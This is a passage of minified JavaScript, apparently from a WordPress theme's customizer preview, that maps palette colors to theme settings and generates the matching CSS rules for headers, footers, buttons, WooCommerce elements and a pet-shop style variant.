t.dataset.originalFontFamily):t.style.fontFamily="";this.appliedTypography.fontLink&&this.appliedTypography.fontLink.parentNode&&this.appliedTypography.fontLink.parentNode.removeChild(this.appliedTypography.fontLink),this.appliedTypography={elements:[],fontLink:null}}directUpdateCustomCss(t,o,e="atss-preview-custom-css"){if("string"!=typeof o)return;let r=t.getElementById(e);r||(r=t.createElement("style"),r.id=e,t.head.appendChild(r)),r.textContent=o}directResetCustomCss(t,o="atss-preview-custom-css"){const e=t.getElementById(o);e&&e.remove()}destroy(){this.messageHandler&&(window.removeEventListener("message",this.messageHandler),this.messageHandler=null),this.iframe=null,this.isReady=!1,this.messageQueue=[],this.pendingCustomizations=null,this.readyReceivedWithoutIframe=!1}}},665:(t,o,e)=>{e.d(o,{Ei:()=>i,Jq:()=>a});const r={color1:["scrolltop_bg_color","single_product_tabs_border_color_active","single_product_tabs_text_color_active","single_product_tabs_text_color","shop_archive_header_button_color","shop_archive_header_button_border_color","ql_item_bg_hover","comments_comment_reply_link_background","wp_block_search_button_background","botiga_reading_progress_bar_background","botiga_tabs_nav_link_border_color_active","tags_links_color","tags_links_border_color","pagination_background_active","pagination_color_active","button_background"],color2:["scrolltop_bg_color_hover","shop_archive_header_button_background_color_hover","shop_archive_header_button_border_color_hover","main_header_sticky_active_color_hover","main_header_color_hover","main_header_sticky_active_submenu_color_hover","ql_item_color_hover","comments_comment_reply_link_background_hover","wp_block_search_button_background_hover","mobile_offcanvas_close_color_hover","site_info_link_color_hover","button_background_hover"],color3:["main_header_submenu_color","main_header_sticky_active_submenu_color","single_product_title_color","shop_product_product_title","main_header_color","main_header_sticky_active_color","site_title_color","site_description_color","shop_archive_header_title_color","shop_archive_header_description_color","bhfb_search_icon_color","bhfb_woo_icons_color","bhfb_contact_info_icon_color","ql_item_color","botiga_accordion_item_arrow_border_color_hover","botiga_accordion_item_arrow_border_color_active","mobile_offcanvas_close_color","site_info_text_color","site_info_link_color","site_info_icon_color"],color4:["main_header_submenu_color_hover"],color5:["single_product_tabs_remaining_borders","single_sticky_add_to_cart_style_color_border","botiga_header_row__above_header_row_border_bottom_color","botiga_header_row__main_header_row_border_bottom_color","botiga_header_row__below_header_row_border_bottom_color","botiga_footer_row__above_footer_row_border_top_color","botiga_footer_row__main_footer_row_border_top_color","botiga_footer_row__below_footer_row_border_top_color","ql_item_border_color","botiga_accordion_item_arrow_border_color","site_info_border_color"],color6:["single_product_gallery_styles_background_color","single_sticky_add_to_cart_style_color_background","botiga_footer_row__above_footer_row_background_color","botiga_footer_row__main_footer_row_background_color","botiga_footer_row__below_footer_row_background_color","ql_background_color","botiga_tabs_nav_link_background","site_footer_background","footer_widgets_background"],color7:["scrolltop_color","scrolltop_color_hover","single_product_reviews_advanced_section_bg_color","comments_comment_reply_link_color","comments_comment_reply_link_color_hover","wp_block_search_button_color","button_text","main_header_submenu_background"],color8:["botiga_header_row__above_header_row_background_color","botiga_header_row__main_header_row_background_color","botiga_header_row__below_header_row_background_color","mobile_offcanvas_background_color","shop_archive_header_background_color","custom_background","button_text_hover"]},n={petshop:{color1:["petshop_color_1","petshop_mega_menu_link_hover"],color2:["petshop_color_2"],color3:["petshop_mega_menu_link"],color4:["petshop_color_4"],color5:["petshop_mega_menu_heading_divider"],color6:["petshop_color_6"],color7:["petshop_mega_menu_background"],color8:["petshop_color_8"]}},l=(Array.from(new Set([...Object.values(r).flat(),...Object.values(n).flatMap(t=>Object.values(t).flat())])),{scrolltop_bg_color:t=>`\n\t\t.back-to-top {\n\t\t\tbackground-color: ${t} !important;\n\t\t}\n\t`,petshop_color_1:t=>`\n\t\t.bhfb-component-woo_icons .header-item svg:not(.stroke-based),\n\t\t.at-block-icon .at-block-icon__icon svg {\n\t\t\tfill: ${t} !important;\n\t\t}\n\n\t\t.botiga-breadcrumb-trail ul li a:hover,\n\t\t.botiga-breadcrumb-trail ul li a:visited,\n\t\t.at-block-post-grid .at-block-post-grid__button-button,\n\t\t.wp-block-group .at-block-post-grid .at-block-post-grid__title a:hover {\n\t\t\tcolor: ${t} !important;\n\t\t}\n\n\t\t.back-to-top,\n\t\t.bhfb-component-woo_icons .site-header-cart .count-number,\n\t\t.bhfb-component-woo_icons .header-wishlist-icon .count-number,\n\t\t.botiga-badge {\n\t\t\tbackground-color: ${t} !important;\n\t\t}\n\n\t\t.at-block-post-grid__button-button,\n\t\t.bhfb-component-woo_icons .site-header-cart .count-number,\n\t\t.bhfb-component-woo_icons .header-wishlist-icon .count-number {\n\t\t\tborder-color: ${t} !important;\n\t\t}\n\t`,petshop_color_2:t=>`\n\t\t.bhfb-row-wrapper.bhfb-above_header_row,\n\t\t.swiper-pagination-bullets .at-block-bullets--bullet,\n\t\t.at-block-post-grid__button-button:hover,\n\t\t.back-to-top:hover {\n\t\t\tbackground-color: ${t} !important;\n\t\t}\n\n\t\ta,\n\t\t.botiga-breadcrumb-trail ul li a,\n\t\t.wp-block-group .at-block-post-grid .at-block-post-grid__meta,\n\t\t.wp-block-group .at-block-post-grid .at-block-post-grid__title a {\n\t\t\tcolor: ${t};\n\t\t}\n\n\t\t.at-block-taxonomy-grid__title a,\n\t\t.bhfb-footer .widget-column .widget .widget-title {\n\t\t\tcolor: ${t} !important;\n\t\t}\n\n\t\t.at-block-nav:before,\n\t\t.at-block-post-grid__button-button:hover {\n\t\t\tborder-color: ${t} !important;\n\t\t}\n\t`,petshop_color_4:t=>`\n\t\t.bhfb-component-woo_icons .header-item:hover svg:not(.stroke-based) {\n\t\t\tfill: ${t} !important;\n\t\t}\n\n\t\t.bhfb-footer .widget-column .widget a,\n\t\t.bhfb .botiga-footer-copyright-navigation a,\n\t\t.bhfb .botiga-credits,\n\t\t.botiga-breadcrumb-trail,\n\t\t.bhfb-footer .widget-column .widget {\n\t\t\tcolor: ${t} !important;\n\t\t}\n\t`,petshop_color_6:t=>`\n\t\tbody:not(.home) .entry-content .at-block-icon__icon,\n\t\t.wp-block-column.has-color-4-background-color,\n\t\t.wp-block-group.has-color-4-background-color {\n\t\t\tbackground-color: ${t} !important;\n\t\t}\n\n\t\t.bhfb .secondary-navigation a.botiga-dropdown-link:hover {\n\t\t\tcolor: ${t} !important;\n\t\t}\n\t`,petshop_color_7:t=>`\n\t\t.bhfb.bhfb-header .bhfb-component-html,\n\t\t.at-block-post-grid__button-button:hover,\n\t\t.bhfb .secondary-navigation a.botiga-dropdown-link,\n\t\t.bhfb-component-woo_icons .site-header-cart .count-number,\n\t\t.bhfb-component-woo_icons .header-wishlist-icon .count-number {\n\t\t\tcolor: ${t} !important;\n\t\t}\n\t\t.back-to-top svg {\n\t\t\tstroke: ${t} !important;\n\t\t}\n\t`,petshop_color_8:t=>`\n\t\t.bhfb-footer {\n\t\t\tbackground-color: ${t} !important;\n\t\t}\n\t`,single_product_tabs_border_color_active:t=>`\n\t\t.botiga-tabs-style1 .woocommerce-tabs ul.tabs li.active a,\n\t\t.botiga-tabs-style1 .woocommerce-tabs ul.tabs li:hover a,\n\t\t.botiga-tabs-style4 .woocommerce-tabs ul.tabs li.active a,\n\t\t.botiga-tabs-style4 .woocommerce-tabs ul.tabs li:hover a {\n\t\t\tborder-color: ${t} !important;\n\t\t}\n\t`,single_product_tabs_text_color_active:t=>`\n\t\t.woocommerce-tabs ul.tabs li.active a,\n\t\t.woocommerce-tabs ul.tabs li.active a:hover {\n\t\t\tcolor: ${t} !important;\n\t\t}\n\t`,single_product_tabs_text_color:t=>`\n\t\t.woocommerce-tabs ul.tabs li:not(.active) a,\n\t\t.woocommerce-tabs ul.tabs li:not(.active) a:hover {\n\t\t\tcolor: ${t} !important;\n\t\t}\n\t`,shop_archive_header_button_color:t=>`\n\t\t.woocommerce-page-header .category-button {\n\t\t\tcolor: ${t} !important;\n\t\t}\n\t`,shop_archive_header_button_border_color:t=>`\n\t\t.woocommerce-page-header .category-button {\n\t\t\tborder-color: ${t} !important;\n\t\t}\n\t`,ql_item_bg_hover:t=>`\n\t\t.botiga-quick-links .quick-link:hover {\n\t\t\tbackground-color: ${t} !important;\n\t\t}\n\t`,comments_comment_reply_link_background:t=>`\n\t\t.comments-area .comment-reply-link {\n\t\t\tbackground-color: ${t} !important;\n\t\t}\n\t`,wp_block_search_button_background:t=>`\n\t\t.wp-block-search .wp-block-search__button {\n\t\t\tbackground: ${t} !important;\n\t\t}\n\t`,botiga_reading_progress_bar_background:t=>`\n\t\t.botiga-reading-progress__bar {\n\t\t\tbackground-color: ${t} !important;\n\t\t}\n\t`,botiga_tabs_nav_link_border_color_active:t=>`\n\t\t.botiga-tabs-nav .botiga-tabs-nav-item.is-active .botiga-tabs-nav-link {\n\t\t\tborder-bottom-color: ${t} !important;\n\t\t}\n\t`,tags_links_color:t=>`\n\t\t.bhfb .botiga-credits a,\n\t\t.tags-links a {\n\t\t\tcolor: ${t} !important;\n\t\t}\n\t`,tags_links_border_color:t=>`\n\t\t.tags-links a {\n\t\t\tborder-color: ${t} !important;\n\t\t}\n\t`,pagination_background_active:t=>`\n\t\t.navigation.pagination .page-numbers:hover,\n\t\t.navigation.pagination .page-numbers:focus,\n\t\t.navigation.pagination .page-numbers.current,\n\t\t.woocommerce-pagination li .page-numbers:hover,\n\t\t.woocommerce-pagination li .page-numbers:focus,\n\t\t.woocommerce-pagination li .page-numbers.current {\n\t\t\tbackground-color: ${t} !important;\n\t\t}\n\t`,pagination_color_active:t=>`\n\t\t.navigation.pagination .page-numbers:hover,\n\t\t.navigation.pagination .page-numbers:focus,\n\t\t.navigation.pagination .page-numbers.current,\n\t\t.woocommerce-pagination li .page-numbers:hover,\n\t\t.woocommerce-pagination li .page-numbers:focus,\n\t\t.woocommerce-pagination li .page-numbers.current {\n\t\t\tcolor: ${t} !important;\n\t\t}\n\t`,scrolltop_bg_color_hover:t=>`\n\t\t.back-to-top:hover {\n\t\t\tbackground-color: ${t} !important;\n\t\t}\n\t`,shop_archive_header_button_background_color_hover:t=>`\n\t\t.woocommerce-page-header .category-button:hover {\n\t\t\tbackground-color: ${t} !important;\n\t\t}\n\t`,shop_archive_header_button_border_color_hover:t=>`\n\t\t.woocommerce-page-header .category-button:hover {\n\t\t\tborder-color: ${t} !important;\n\t\t}\n\t`,main_header_sticky_active_color_hover:t=>`\n\t\t.sticky-header-active .bhfb .main-navigation a.botiga-dropdown-link:hover {\n\t\t\tcolor: ${t} !important;\n\t\t}\n\n\t\t.sticky-header-active .bhfb .main-navigation a.botiga-dropdown-link:hover + .dropdown-symbol svg {\n\t\t\tfill: ${t} !important;\n\t\t}\n\t`,main_header_color_hover:t=>`\n\t\t.bhfb .main-navigation a.botiga-dropdown-link:hover {\n\t\t\tcolor: ${t} !important;\n\t\t}\n\n\t\t.bhfb .main-navigation a.botiga-dropdown-link:hover + .dropdown-symbol svg {\n\t\t\tfill: ${t} !important;\n\t\t}\n\t`,main_header_sticky_active_submenu_color_hover:t=>`\n\t\t.sticky-header-active .bhfb .main-navigation .sub-menu.botiga-dropdown-ul a.botiga-dropdown-link:hover {\n\t\t\tcolor: ${t} !important;\n\t\t}\n\n\t\t.sticky-header-active .bhfb .main-navigation .sub-menu.botiga-dropdown-ul a.botiga-dropdown-link:hover + .dropdown-symbol svg {\n\t\t\tfill: ${t} !important;\n\t\t}\n\t`,main_header_submenu_color_hover:t=>`\n\t\t.bhfb .main-navigation .sub-menu.botiga-dropdown-ul a.botiga-dropdown-link:hover {\n\t\t\tcolor: ${t} !important;\n\t\t}\n\n\t\t.bhfb .main-navigation .sub-menu.botiga-dropdown-ul a.botiga-dropdown-link:hover + .dropdown-symbol svg {\n\t\t\tfill: ${t} !important;\n\t\t}\n\t`,ql_item_color_hover:t=>`\n\t\t.botiga-quick-links .quick-link:hover .ql-image.is-svg {\n\t\t\tbackground-color: ${t} !important;\n\t\t}\n\t`,comments_comment_reply_link_background_hover:t=>`\n\t\t.comments-area .comment-reply-link:hover {\n\t\t\tbackground-color: ${t} !important;\n\t\t}\n\t`,wp_block_search_button_background_hover:t=>`\n\t\t.wp-block-search .wp-block-search__button:hover {\n\t\t\tbackground: ${t} !important;\n\t\t}\n\t`,mobile_offcanvas_close_color_hover:t=>`\n\t\t.bhfb-mobile_offcanvas .mobile-menu-close:hover svg {\n\t\t\tfill: ${t} !important;\n\t\t}\n\t`,site_info_link_color_hover:t=>`\n\t\t.bhfb .botiga-credits a:hover,\n\t\t.site-info a:hover {\n\t\t\tcolor: ${t} !important;\n\t\t}\n\t`,petshop_mega_menu_background:t=>`\n\t\t.botiga-mega-menu > .sub-menu,\n\t\t.bhfb .botiga-mega-menu > .sub-menu,\n\t\t.botiga-mega-menu.botiga-mega-menu-contained-full-width > .sub-menu:before {\n\t\t\tbackground-color: ${t} !important;\n\t\t}\n\t`,petshop_mega_menu_link:t=>`\n\t\t.botiga-mega-menu > .sub-menu > li > .sub-menu > li > a,\n\t\t.botiga-mega-menu > .sub-menu > li > .sub-menu > li > a.is-mega-menu-heading {\n\t\t\tcolor: ${t} !important;\n\t\t}\n\n\t\t.botiga-mega-menu > .sub-menu > li > .sub-menu > li > a + .dropdown-symbol svg {\n\t\t\tfill: ${t} !important;\n\t\t}\n\t`,petshop_mega_menu_link_hover:t=>`\n\t\t.botiga-mega-menu > .sub-menu > li > .sub-menu > li:hover > a,\n\t\t.botiga-mega-menu > .sub-menu > li > .sub-menu > li:hover > a.is-mega-menu-heading {\n\t\t\tcolor: ${t} !important;\n\t\t}\n\n\t\t.botiga-mega-menu > .sub-menu > li > .sub-menu > li:hover > a + .dropdown-symbol svg {\n\t\t\tfill: ${t} !important;\n\t\t}\n\t`,petshop_mega_menu_heading_divider:t=>`\n\t\t.botiga-mega-menu .botiga-mega-menu-link.has-mega-menu-heading-divider {\n\t\t\tborder-bottom-color: ${t} !important;\n\t\t}\n\t`,main_header_submenu_background:t=>`\n\t\t.bhfb .main-navigation .sub-menu.botiga-dropdown-ul,\n\t\t.sticky-header-active .bhfb .main-navigation .sub-menu.botiga-dropdown-ul,\n\t\t.bhfb .sub-menu.botiga-dropdown-ul li.botiga-dropdown-li,\n\t\t.sticky-header-active .bhfb .sub-menu.botiga-dropdown-ul li.botiga-dropdown-li {\n\t\t\tbackground-color: ${t} !important;\n\t\t}\n\t`,main_header_submenu_color:t=>`\n\t\t.bhfb .main-navigation .sub-menu.botiga-dropdown-ul a.botiga-dropdown-link {\n\t\t\tcolor: ${t} !important;\n\t\t}\n\n\t\t.bhfb .main-navigation .sub-menu.botiga-dropdown-ul a.botiga-dropdown-link + .dropdown-symbol svg {\n\t\t\tfill: ${t} !important;\n\t\t}\n\t`,main_header_sticky_active_submenu_color:t=>`\n\t\t.sticky-header-active .bhfb .main-navigation .sub-menu.botiga-dropdown-ul a.botiga-dropdown-link {\n\t\t\tcolor: ${t} !important;\n\t\t}\n\n\t\t.sticky-header-active .bhfb .main-navigation .sub-menu.botiga-dropdown-ul a.botiga-dropdown-link + .dropdown-symbol svg {\n\t\t\tfill: ${t} !important;\n\t\t}\n\t`,single_product_title_color:t=>`\n\t\t.product-gallery-summary .product_title {\n\t\t\tcolor: ${t} !important;\n\t\t}\n\t`,shop_product_product_title:t=>`\n\t\tul.wc-block-grid__products li.wc-block-grid__product .wc-block-grid__product-title,\n\t\tul.wc-block-grid__products li.wc-block-grid__product .woocommerce-loop-product__title,\n\t\tul.wc-block-grid__products li.product .wc-block-grid__product-title,\n\t\tul.wc-block-grid__products li.product .woocommerce-loop-product__title,\n\t\tul.products li.wc-block-grid__product .wc-block-grid__product-title,\n\t\tul.products li.wc-block-grid__product .woocommerce-loop-product__title,\n\t\tul.products li.product .wc-block-grid__product-title,\n\t\tul.products li.product .woocommerce-loop-product__title,\n\t\tul.products li.product .woocommerce-loop-category__title,\n\t\t.woocommerce-loop-product__title .botiga-wc-loop-product__title {\n\t\t\tcolor: ${t} !important;\n\t\t}\n\t`,main_header_color:t=>`\n\t\t.bhfb .main-navigation a.botiga-dropdown-link {\n\t\t\tcolor: ${t} !important;\n\t\t}\n\n\t\t.bhfb .main-navigation a.botiga-dropdown-link + .dropdown-symbol svg {\n\t\t\tfill: ${t} !important;\n\t\t}\n\t`,main_header_sticky_active_color:t=>`\n\t\t.sticky-header-active .bhfb .main-navigation a.botiga-dropdown-link {\n\t\t\tcolor: ${t} !important;\n\t\t}\n\n\t\t.sticky-header-active .bhfb .main-navigation a.botiga-dropdown-link + .dropdown-symbol svg {\n\t\t\tfill: ${t} !important;\n\t\t}\n\t`,site_title_color:t=>`\n\t\t.site-header .site-title a,\n\t\t.bhfb .site-title a {\n\t\t\tcolor: ${t} !important;\n\t\t}\n\t`,site_description_color:t=>`\n\t\t.site-description,\n\t\t.bhfb .site-description {\n\t\t\tcolor: ${t} !important;\n\t\t}\n\t`,shop_archive_header_title_color:t=>`\n\t\t.woocommerce-page-header h1 {\n\t\t\tcolor: ${t} !important;\n\t\t}\n\t`,shop_archive_header_description_color:t=>`\n\t\t.woocommerce-page-header .page-description,\n\t\t.woocommerce-page-header .term-description {\n\t\t\tcolor: ${t} !important;\n\t\t}\n\t`,bhfb_search_icon_color:t=>`\n\t\t.bhfb-component-search .header-search svg {\n\t\t\tfill: ${t} !important;\n\t\t}\n\n\t\t.bhfb-component-search .header-search .botiga-image.is-svg {\n\t\t\tbackground-color: ${t} !important;\n\t\t}\n\t`,bhfb_woo_icons_color:t=>`\n\t\t.bhfb-component-woo_icons .header-item svg:not(.stroke-based) {\n\t\t\tfill: ${t} !important;\n\t\t}\n\n\t\t.bhfb-component-woo_icons .header-item svg.stroke-based {\n\t\t\tstroke: ${t} !important;\n\t\t}\n\n\t\t.bhfb-component-woo_icons .header-item .botiga-image.is-svg {\n\t\t\tbackground-color: ${t} !important;\n\t\t}\n\t`,bhfb_contact_info_icon_color:t=>`\n\t\t.bhfb-component-contact_info .header-contact > a svg {\n\t\t\tfill: ${t} !important;\n\t\t}\n\t`,ql_item_color:t=>`\n\t\t.botiga-quick-links .ql-image.is-svg {\n\t\t\tbackground-color: ${t} !important;\n\t\t}\n\t`,botiga_accordion_item_arrow_border_color_hover:t=>`\n\t\t.botiga-accordion__item > a:hover:after {\n\t\t\tborder-color: ${t} !important;\n\t\t\tborder-bottom-color: transparent !important;\n\t\t\tborder-left-color: transparent !important;\n\t\t}\n\t`,botiga_accordion_item_arrow_border_color_active:t=>`\n\t\t.botiga-accordion__item > a.active:after {\n\t\t\tborder-color: ${t} !important;\n\t\t\tborder-bottom-color: transparent !important;\n\t\t\tborder-left-color: transparent !important;\n\t\t}\n\t`,mobile_offcanvas_close_color:t=>`\n\t\t.bhfb-mobile_offcanvas .mobile-menu-close svg {\n\t\t\tfill: ${t} !important;\n\t\t}\n\t`,site_info_text_color:t=>`\n\t\t.site-info {\n\t\t\tcolor: ${t} !important;\n\t\t}\n\t`,site_info_link_color:t=>`\n\t\t.site-info a {\n\t\t\tcolor: ${t} !important;\n\t\t}\n\t`,site_info_icon_color:t=>`\n\t\t.bhfb-component-mobile_hamburger .menu-toggle svg,\n\t\t.bhfb-footer .bhfb-component-social .social-profile > a svg,\n\t\t.bhfb-component-social .social-profile > a svg,\n\t\t.site-info .ws-svg-icon svg {\n\t\t\tfill: ${t} !important;\n\t\t}\n\t`,header_search_form_select_arrow_color:t=>`\n\t\t.botiga-select:before {\n\t\t\tborder-color: ${t} !important;\n\t\t\tborder-bottom-color: transparent !important;\n\t\t\tborder-left-color: transparent !important;\n\t\t}\n\t`,single_product_tabs_remaining_borders:t=>`\n\t\t.botiga-tabs-style1 .woocommerce-tabs ul.tabs,\n\t\t.botiga-tabs-style3 .woocommerce-tabs ul.tabs {\n\t\t\tborder-bottom-color: ${t} !important;\n\t\t}\n\t`,single_sticky_add_to_cart_style_color_border:t=>`\n\t\t.botiga-single-sticky-add-to-cart-wrapper {\n\t\t\tborder-color: ${t} !important;\n\t\t}\n\t`,botiga_header_row__above_header_row_border_bottom_color:t=>`\n\t\t.bhfb-above_header_row {\n\t\t\tborder-bottom-color: ${t} !important;\n\t\t}\n\t`,botiga_header_row__main_header_row_border_bottom_color:t=>`\n\t\t.bhfb-main_header_row {\n\t\t\tborder-bottom-color: ${t} !important;\n\t\t}\n\t`,botiga_header_row__below_header_row_border_bottom_color:t=>`\n\t\t.bhfb-below_header_row {\n\t\t\tborder-bottom-color: ${t} !important;\n\t\t}\n\t`,botiga_footer_row__above_footer_row_border_top_color:t=>`\n\t\t.bhfb-above_footer_row {\n\t\t\tborder-top-color: ${t} !important;\n\t\t}\n\t`,botiga_footer_row__main_footer_row_border_top_color:t=>`\n\t\t.bhfb-main_footer_row {\n\t\t\tborder-top-color: ${t} !important;\n\t\t}\n\t`,botiga_footer_row__below_footer_row_border_top_color:t=>`\n\t\t.bhfb-below_footer_row {\n\t\t\tborder-top-color: ${t} !important;\n\t\t}\n\t`,ql_item_border_color:t=>`\n\t\t.botiga-quick-links .quick-link,\n\t\t.botiga-quick-links.pos-left .quick-link,\n\t\t.botiga-quick-links.pos-right .quick-link {\n\t\t\tborder-color: ${t} !important;\n\t\t}\n\t`,botiga_accordion_item_arrow_border_color:t=>`\n\t\t.botiga-accordion__item > a:after {\n\t\t\tborder-color: ${t} !important;\n\t\t\tborder-bottom-color: transparent !important;\n\t\t\tborder-left-color: transparent !important;\n\t\t}\n\t`,site_info_border_color:t=>`\n\t\t.site-info {\n\t\t\tborder-color: ${t} !important;\n\t\t}\n\t`,single_product_gallery_styles_background_color:t=>`\n\t\t.product-gallery-summary.gallery-showcase:before,\n\t\t.product-gallery-summary.gallery-full-width:before {\n\t\t\tbackground-color: ${t} !important;\n\t\t}\n\t`,single_sticky_add_to_cart_style_color_background:t=>`\n\t\t.botiga-single-sticky-add-to-cart-wrapper,\n\t\t.botiga-single-sticky-add-to-cart-wrapper input[type="number"],\n\t\t.botiga-single-sticky-add-to-cart-wrapper select {\n\t\t\tbackground-color: ${t} !important;\n\t\t}\n\t`,botiga_footer_row__above_footer_row_background_color:t=>`\n\t\t.bhfb-above_footer_row {\n\t\t\tbackground-color: ${t} !important;\n\t\t}\n\t`,botiga_footer_row__main_footer_row_background_color:t=>`\n\t\t.bhfb-main_footer_row {\n\t\t\tbackground-color: ${t} !important;\n\t\t}\n\t`,botiga_footer_row__below_footer_row_background_color:t=>`\n\t\t.bhfb-below_footer_row {\n\t\t\tbackground-color: ${t} !important;\n\t\t}\n\t`,ql_background_color:t=>`\n\t\t.botiga-quick-links.pos-bottom-full,\n\t\t.botiga-quick-links:not(.pos-bottom-full) .quick-links-inner {\n\t\t\tbackground-color: ${t} !important;\n\t\t}\n\t`,botiga_tabs_nav_link_background:t=>`\n\t\t.botiga-tabs-nav .botiga-tabs-nav-item .botiga-tabs-nav-link {\n\t\t\tbackground-color: ${t} !important;\n\t\t}\n\t`,site_footer_background:t=>`\n\t\t.site-footer {\n\t\t\tbackground-color: ${t} !important;\n\t\t}\n\t`,footer_widgets_background:t=>`\n\t\t.footer-widgets {\n\t\t\tbackground-color: ${t} !important;\n\t\t}\n\t`,scrolltop_color:t=>`\n\t\t.back-to-top {\n\t\t\tcolor: ${t} !important;\n\t\t}\n\n\t\t.back-to-top svg {\n\t\t\tstroke: ${t} !important;\n\t\t}\n\t`,scrolltop_color_hover:t=>`\n\t\t.back-to-top:hover {\n\t\t\tcolor: ${t} !important;\n\t\t}\n\n\t\t.back-to-top:hover svg {\n\t\t\tstroke: ${t} !important;\n\t\t}\n\t`,single_product_reviews_advanced_section_bg_color:t=>`\n\t\t.single-product .site-main > .product > section.products.botiga-adv-reviews:after,\n\t\t.botiga-reviews-orderby {\n\t\t\tbackground-color: ${t} !important;\n\t\t}\n\t`,comments_comment_reply_link_color:t=>`\n\t\t.comments-area .comment-reply-link {\n\t\t\tcolor: ${t} !important;\n\t\t}\n\t`,comments_comment_reply_link_color_hover:t=>`\n\t\t.comments-area .comment-reply-link:hover {\n\t\t\tcolor: ${t} !important;\n\t\t}\n\t`,wp_block_search_button_color:t=>`\n\t\t.wp-block-search .wp-block-search__button {\n\t\t\tcolor: ${t} !important;\n\t\t}\n\t`,botiga_header_row__above_header_row_background_color:t=>`\n\t\t.bhfb-above_header_row {\n\t\t\tbackground-color: ${t} !important;\n\t\t}\n\t`,botiga_header_row__main_header_row_background_color:t=>`\n\t\t.bhfb-main_header_row {\n\t\t\tbackground-color: ${t} !important;\n\t\t}\n\t`,botiga_header_row__below_header_row_background_color:t=>`\n\t\t.bhfb-below_header_row {\n\t\t\tbackground-color: ${t} !important;\n\t\t}\n\t`,mobile_offcanvas_background_color:t=>`\n\t\t.bhfb-mobile_offcanvas,\n\t\t.botiga-offcanvas-menu {\n\t\t\tbackground-color: ${t} !important;\n\t\t}\n\t`,shop_archive_header_background_color:t=>`\n\t\t.woocommerce-page-header {\n\t\t\tbackground-color: ${t} !important;\n\t\t}\n\t`,custom_background:t=>`\n\t\t.header-search-form form button,\n\t\t.custom-background {\n\t\t\tbackground-color: ${t} !important;\n\t\t}\n\t`,button_background:t=>`\n\t\tbutton:not(.has-background),\n\t\ta.button:not(.has-background),\n\t\t.wp-block-button:not(.is-style-outline) .wp-block-button__link:not(.has-background),\n\t\t.wp-block-search .wp-block-search__button:not(.has-background),\n\t\tinput[type="button"]:not(.has-background),\n\t\tinput[type="reset"]:not(.has-background),\n\t\tinput[type="submit"]:not(.has-background),\n\t\t.comments-area .comment-reply-link:not(.has-background),\n\t\t.botiga-sc-product-quantity {\n\t\t\tbackground-color: ${t} !important;\n\t\t}\n\t\tbutton,\n\t\ta.button,\n\t\t.wp-block-button:not(.is-style-outline) .wp-block-button__link,\n\t\tinput[type="button"],\n\t\tinput[type="reset"],\n\t\tinput[type="submit"] {\n\t\t\tborder-color: ${t} !important;\n\t\t}\n\t`,button_background_hover:t=>`\n\t\tbutton:not(.has-background):hover,\n\t\ta.button:not(.has-background):hover,\n\t\t.wp-block-button:not(.is-style-outline) .wp-block-button__link:not(.has-background):hover,\n\t\t.wp-block-search .wp-block-search__button:not(.has-background):hover,\n\t\tinput[type="button"]:not(.has-background):hover,\n\t\tinput[type="reset"]:not(.has-background):hover,\n\t\tinput[type="submit"]:not(.has-background):hover,\n\t\t.comments-area .comment-reply-link:not(.has-background):hover {\n\t\t\tbackground-color: ${t} !important;\n\t\t}\n\t\tbutton:hover,\n\t\ta.button:hover,\n\t\t.wp-block-button:not(.is-style-outline) .wp-block-button__link:hover,\n\t\tinput[type="button"]:hover,\n\t\tinput[type="reset"]:hover,\n\t\tinput[type="submit"]:hover {\n\t\t\tborder-color: ${t} !important;\n\t\t}\n\t`,button_text:t=>`\n\t\tbutton:not(.has-text-color),\n\t\ta.button:not(.wc-forward):not(.has-text-color),\n\t\ta.button.checkout:not(.has-text-color),\n\t\t.checkout-button.button:not(.has-text-color),\n\t\t.wp-block-button:not(.is-style-outline) .wp-block-button__link:not(.has-text-color),\n\t\tinput[type="button"]:not(.has-text-color),\n\t\tinput[type="reset"]:not(.has-text-color),\n\t\tinput[type="submit"]:not(.has-text-color),\n\t\t.woocommerce-message .button.wc-forward:not(.has-text-color),\n\t\t.comments-area .comment-reply-link:not(.has-text-color),\n\t\t.wp-block-search .wp-block-search__button:not(.has-text-color),\n\t\t.botiga-sc-product-quantity {\n\t\t\tcolor: ${t} !important;\n\t\t}\n\t\t.woocommerce-product-search .search-submit svg,\n\t\t#masthead-mobile .search-submit svg:not(.stroke-based),\n\t\tul.wc-block-grid__products li.wc-block-grid__product .wp-block-button__link svg,\n\t\tul.wc-block-grid__products li.product .wp-block-button__link svg,\n\t\tul.products li.wc-block-grid__product .wp-block-button__link svg,\n\t\tul.products li.product .button svg {\n\t\t\tfill: ${t} !important;\n\t\t}\n\t`,button_text_hover:t=>`\n\t\tbutton:not(.has-text-color):hover,\n\t\ta.button:not(.wc-forward):not(.has-text-color):hover,\n\t\ta.button.checkout:not(.has-text-color):hover,\n\t\t.checkout-button.button:not(.has-text-color):hover,\n\t\t.wp-block-button:not(.is-style-outline) .wp-block-button__link:not(.has-text-color):hover,\n\t\tinput[type="button"]:not(.has-text-color):hover,\n\t\tinput[type="reset"]:not(.has-text-color):hover,\n\t\tinput[type="submit"]:not(.has-text-color):hover,\n\t\t.woocommerce-message .button.wc-forward:not(.has-text-color):hover,\n\t\t.comments-area .comment-reply-link:not(.has-text-color):hover,\n\t\t.wp-block-search .wp-block-search__button:not(.has-text-color):hover {\n\t\t\tcolor: ${t} !important;\n\t\t}\n\t\t.woocommerce-product-search .search-submit:hover svg,\n\t\t#masthead-mobile .search-submit:hover svg:not(.stroke-based),\n\t\tul.wc-block-grid__products li.wc-block-grid__product .wp-block-button__link:hover svg,\n\t\tul.wc-block-grid__products li.product .wp-block-button__link:hover svg,\n\t\tul.products li.wc-block-grid__product .wp-block-button__link:hover svg,\n\t\tul.products li.product .button:hover svg {\n\t\t\tfill: ${t} !important;\n\t\t}\n\t`}),a=(t,o="")=>{const e=(t=>t&&"object"==typeof t?{color1:t["--bt-color-button-bg"]||"",color2:t["--bt-color-button-bg-hover"]||"",color3:t["--bt-color-post-title"]||"",color4:t["--bt-color-body-text"]||"",color5:t["--bt-color-forms-borders"]||"",color6:t["--bt-color-content-cards-bg"]||"",color7:t["--bt-color-bg"]||"",color8:t["--bt-color-menu-bg"]||t["--bt-color-bg"]||""}:{})(t),a=((t="")=>{const o=n[t]||{},e=new Set([...Object.keys(r),...Object.keys(o)]);return Array.from(e).reduce((t,e)=>{const n=r[e]||[];return t[e]=Array.from(new Set([...n,...o[e]||[]])),t},{})})(o);return Object.entries(a).flatMap(([t,o])=>{const r=e[t];return r?o.map(t=>{const o=l[t];return o?o(r):""}):[]}).filter(Boolean).join("\n")},i=t=>{if(!t||"object"!=typeof t)return"";const o=(o,e)=>{const 